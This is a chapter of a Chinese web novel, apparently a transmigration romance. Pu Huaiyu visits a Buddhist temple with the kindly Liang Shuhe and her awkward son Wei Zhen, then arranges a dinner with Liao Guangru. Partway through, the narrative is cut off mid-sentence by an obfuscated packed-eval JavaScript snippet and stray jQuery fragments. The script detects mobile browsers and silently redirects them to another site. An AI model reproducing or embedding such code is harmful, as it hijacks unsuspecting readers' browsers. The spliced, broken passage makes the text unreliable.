62. 062

    抵达清泉寺,梁淑荷刚露出笑脸,就因为濮怀玉的衣着脸色微变。


    “你怎么回事?就让小玉穿这身衣服来?”


    她怜惜地揉揉濮怀玉的脸颊,连带着揪两下熊耳朵,“也不怕冻着孩子。”


    “……”


    隗祯一个字都回答不上来。


    濮怀玉宽慰:“阿姨,车里面很暖和。”她重新绕上围巾,“我可能不能陪你了,这身衣服不太适合拜佛。”


    “没事,我让人给你送套衣服。”梁淑荷又忍不住捏一把她的脸,“看着多可爱啊。”


    在古色古香的房间稍作歇息,一件汉白玉色的新中式盘扣棉服被送来,连带咖色阔腿棉裤,很适合在冬天禅修。


    “加在你的毛衣上面,一点都不冷。”梁淑荷看着她缓缓展开衣袖,慈爱道,“干干净净,你下次来,还能穿这套。”


    虽然不需要露出肌肤,隗祯仍然自觉回避濮怀玉穿衣的场景。


    她坐在茶桌旁,就着厚毛衣和秋裤分别套上棉衣棉裤,桌上袅袅升起热气的是喝了一半的热茶。


    濮怀玉拎着裤腰,踩进棉鞋里原地跳了两下——其实有点小。


    但她说“正好”,在佛祖眼皮底下打诳语。


    “等上完香,我们就去吃斋饭。”梁淑荷笑道,“前几次你都说要多帮其他义工阿姨分担点活,今天你得帮这个阿姨分担点饭。”


    濮怀玉不准备拒绝,点头:“阿姨,我肯定会打扫干净。”她看向不远处的男人,“隗先生也在吧?那就更没有浪费的理由了。”


    隗祯抬头,眼神在半空中与她相触。


    和刚准备拿加班作为借口逃离此处的他不同,濮怀玉的瞳孔平静到让他的心脏像是被凭空刺上好多刀。


    他最终在血淋淋的心痛感中打消了逃避的念头,并且在心底怒斥自己少有的软弱,回答道:“我没有挑食的习惯。”


    “ethan要是敢对寺里的吃食挑三拣四,我肯定得收拾他。”梁淑荷笑道。


    濮怀玉和她并排走在石板路上,步伐的节奏渐渐重合。


    稍显突兀的轻敲夹杂其中,是男式皮鞋接触地面的声音。声音的主人不声不响跟在两个人身后,像是一场难以察觉的绵绵细雨,嘴边呼出的雾气成了水滴织就的雨幕。


    当前方是一片沉默,他终于发现脚下的杂音,于是有意放轻脚步。


    隗祯选择的模仿对象,是为了老人放慢步伐的濮怀玉。


    “阿姨,你冷不冷?”


    “我这身衣服只是看着薄。我还想问你呢,有没有冷风钻进脖子?”梁淑荷定睛一瞧,停下来给她扣好最上面的扣子,“哎哟,难怪这边的领子朝外翘。小迷糊一个。”


    濮怀玉眨一下眼:“谢谢阿姨。”


    再次往前走,她忽然扭头,把默默跟随的隗祯吓了一跳。


    因为惊讶睁大变圆润的眼睛,让他好像街头受到路人惊吓的小动物。不同的是,流浪猫和流浪狗会警觉地跑开或是跳上高墙,他却只会停留在原处。


    梁淑荷握住她的手腕:“小玉,怎么了?”


    “没听到脚步声,以为隗先生走丢了。”濮怀玉静静地看着他,然后收回目光。


    梁淑荷看一眼身后傻瓜化的儿子,知道他送濮怀玉来的路上肯定再一次说错了话、做错了事:“这么大的人,要是能在这里丟掉,那才叫可笑。”


    濮怀玉没有应答。


    供奉神佛的寺院近在眼前。


    跨进门槛,首先是梁淑荷来拜。她对着殿内神佛虔诚闭目,口中念念有词,祈愿着旁人听不见的顺遂。


    拜完佛,她起身绕行,郑重地把香点燃,再托住香的下端,举过头顶躬身敬拜,最后小心翼翼地插进香炉。


    完成所有步骤,梁淑荷先行一步退到门槛以外。


    隗祯自始至终待在这里,和台阶以上的神圣泾渭分明,不欲上前。他仰望着少女虔敬拜佛的姿态,那里面蕴含着让他羡慕的深情。


    双手合十,然后缓缓跪在拜垫上。


    面对慈和的佛相,濮怀玉能够给出的除了静待点燃的香,就是自己的贪心。


    佛祖啊。她在心里默念。请给姐姐一个好的结果,一个好到自己下一秒被敲响丧钟、也无怨无悔的结果。


    这是第一个愿望。濮怀玉还有很多心愿,留给这个世界的朋友。


    “你总是偷懒。”


    寺庙外,梁淑荷不禁抱怨。


    梁淑荷知道自己的儿子是个不彻底的无神论者,尊敬信仰的同时消极怠工,从不主动遵守每一步完成仪式,但会在重要的时间节点配合。


    隗祯轻言道:“妈,您知道我的习惯。新年第一天,我刚陪您和父亲上了香。”


    “你以为都是你自己的功劳吗?天时非常重要。”梁淑荷忍不住训斥出声。


    状似对隗祯不主动为自己和家人祈福感到不满,实则话中有话,借题发挥。梁淑荷道:“天时尚且重要,还需要地利、人和辅助。等你姗姗来迟缓过神,想努力争取一回,已经错过最好的时机,除了自己怨不得任何人。”


    “我明白。”隗祯一味看着那道身影,好像要将肌肉的每一次呼吸记在眼底,“我知道,都是我的错。”


    梁淑荷摇头:“很多事不会允许弥补,我也不会一而三再而三地帮你。小玉还小,前面十几年除了她姐姐没人稀罕。ethan,小玉不是一个能让来让去的东西,也需要家人疼。”


    隗祯无声地抿唇,半晌辩解。


    “我没有把她当成物件……”


    然而,濮怀玉已经插好香,一路快速走下石梯,小跑到梁淑荷面前,表情严肃。


    “阿姨,我还给您许愿了。”


    就好像刚才的对话并不存在,梁淑荷笑着说:“这孩子,当成过生日了。你给阿姨许了什么愿?”


    “说出来怕不灵验。”濮怀玉有理有据。


    梁淑荷:“稍微透露一下嘛,不具体说。”


    “健康方面的。”濮怀玉沉吟片刻,诚恳回答。


    她诚恳到不能再诚恳,希望梁淑荷能够作为好人长命百岁,无病无灾。


    至于金钱,濮怀玉不敢保证。她对让樊家和隗家破产念念不忘,毕竟这些有钱人的至高爱好无需多加思考,绝对是钱和权,打蛇肯定要打七寸。


    听到她念念不忘,系统大叫:“这可使不得啊!”


    濮怀玉摸了摸下巴:“怎么使不得?樊雁舟想通过让姐姐一无所有彻底掌控她,为什么不能让樊雁舟一无所有沦落街头,放心地被姐姐捡废品捡回家当挂件?”


    系统:“似乎不失为一种方法……不行!樊家的产业遍布各行各业,你要跟他杠,等于以卵击石。”


    “我要对抗樊雁舟,等于我个人和整个樊家起冲突。真奇怪。”濮怀玉道,“樊雁舟的父母长辈能插手他的婚姻,显然他不是独裁者,但他可以发动整个樊家的力量,让得罪他等同于得罪樊家。”


    何尝不是一种让女人羡慕到咬牙切齿的赋魅。


    与他为伍的隗祯,说是一个用容貌、金钱和权力堆砌而成的空心人似乎并不恰切。


    “你不去?”


    男人对她的发问表露出意外,紧随其后的是不自在——他在不自在什么?濮怀玉想,自己都没有因为他的全程在场表现出不适。


    熟悉的记忆涌进脑内,仿佛要在眼前形成虚影,两行简洁的黑字愈发清楚。隗祯手脚发冷,喉咙传来压抑感:“年初刚上过香。”


    “估计是有心理阴影了。”梁淑荷开玩笑,“除夕夜没休息好,第二天一早就要去上香,整个人像是丢了魂。”


    那个早晨,隗祯的脸色差得可怕,就像一夜之间被掏空了健康,吓得梁淑荷赶紧联系家庭医生检查,才知道是没休息好和怒火攻心引发的急症。


    对此,隗祯解释为做梦。


    事实是,没入眠根本不能做梦。收到濮怀玉的拉黑告知后,他拖着郁气利用清醒的时间工作了一整个夜晚。


    医生开完药,梁淑荷和丈夫一致决定不让隗祯参加新年活动。但隗祯在家给紧急召唤来的医生安排好红包和慰问品,就着微凉的咽下药片,还是自己开车去了目的地,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047888|158232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    理由是“答应了母亲”。


    如今,他的脸色只比那时候稍好一点。


    原本只想独自消化碰壁后的窝囊和软弱,过后云淡风轻寻找别的途径——他也的确找到了——现在被梁淑荷当场揭穿,可笑到隗祯自己都想笑出声。


    系统评价:“心理素质不如男主。”


    濮怀玉看着这张青一阵白一阵的脸,淡淡道:“是吗。”


    “我的身体素质没那么弱,已经痊愈了。”隗祯气闷到咬紧后槽牙。


    可当濮怀玉无所谓地转过头,没有任何话要说,隗祯又觉得空虚。


    她并不关心他,甚至像在看热闹。


    “有空还是做个全身检查吧,很多大病都是小毛病积累的。”濮怀玉没有看向他,“不是我咒你,经验之谈。”


    梁淑荷催促:“跟你说话呢。”


    “……知道了。谢谢。”


    无论是谁,突然告诉濮怀玉自己最近突发疾病,需要吃药治疗,她都会如此告诫一句。


    不过,濮怀玉确实很疑惑——至于吗?杀伤力这么大?


    接下来的午饭,除了濮怀玉偶尔和梁淑荷闲聊两句最近的校园生活,几乎没有别的话题可聊。隗祯更是默默吃饭,秉持着食不言、寝不语的道理。


    濮怀玉:“我真的没有发力。”


    “我知道。”系统知道濮怀玉人格魅力大、攻击欲|望和攻击性强,但不知道她平A都算不上的一次拒绝就能让男二差点进医院。


    “他不会死吧?”


    系统想起自己的功能,毕竟恶毒男配突然死了很麻烦:“不会,挺健康的。”


    至于这么脆皮吗?濮怀玉看一眼专心吃饭的男人,再次觉得摸不着头脑。


    吃完饭,濮怀玉在窗边接了个电话。


    是个新加的饭局,就在今晚,由廖光儒做东,要请她和孔凝珂、黎晗、白棠吃饭。


    电话那头,青年的声线一如既往的温润亲切,濮怀玉却在对比之下无端觉得,廖光儒的声音不如之前动听。


    他说:“黎小姐和白小姐都同意了,小孔小姐说要问问你的想法。”


    “她是小孔,那我就是大孔喽?”


    濮怀玉乐意在空余时间蹭饭,让朋友开心开心,何乐而不为。不过,既然是梁淑荷先约的自己,濮怀玉讲究先来后到,压下手机。


    梁淑荷很愿意:“我可没准备留你一整个下午。这事急不急?急的话就让ethan送你过去,反正我勒令他这几天每天的工作时间不能超过三小时,他一点都不忙。”


    “不急,但我得先回学校准备一下。”她重新拿起手机,答应了邀约后挂断,“虽然是跟朋友吃饭,但朋友也会有亲疏男女。”


    梁淑荷不禁展颜:“说明你没把我们当外人看。怎么,最近交男朋友了?”


    她状似无意的一问,帮了隗祯大忙。


    “不算男朋友,老一辈以前订过婚,认识一下而已。”


    隗祯:“廖光儒?”


    “对。”濮怀玉微微侧目,“隗先生应该在认亲宴那天见过他。”


    梁淑荷对这个青年有印象,夸赞道:“廖家的公子确实不错。不单长得好,人品也脱离纨绔子弟的低级趣味。你跟他接触,我也放心。”


    她是放了心,却把另一人的心搅得不能安宁,像沸腾至铁红色的汪洋。


    “几点钟?我今天很有空。”


    “六点钟,在溪园。”濮怀玉看着他脸上不常见的微笑假面,对缝隙的来由伸出探究性的目光,“廖光儒可以接我,或者我坐公交去,不用劳烦您再跑一趟。”


    隗祯继续微笑:“既然凑巧安排在一天,也是缘分,我很乐意让你行这个方便。”


    这是何必呢。梁淑荷很想叹气。


    这段错位的孽缘,主角之一偏偏还是自己的亲儿子,说不帮一点忙又实在看不过去。


    “小玉,让他送你去吧,顺路的事。”


    濮怀玉闭了一下眼,睁开时客套道:“不给您添麻烦就行。”


    就此隗祯知道,自己也变成了可笑的人。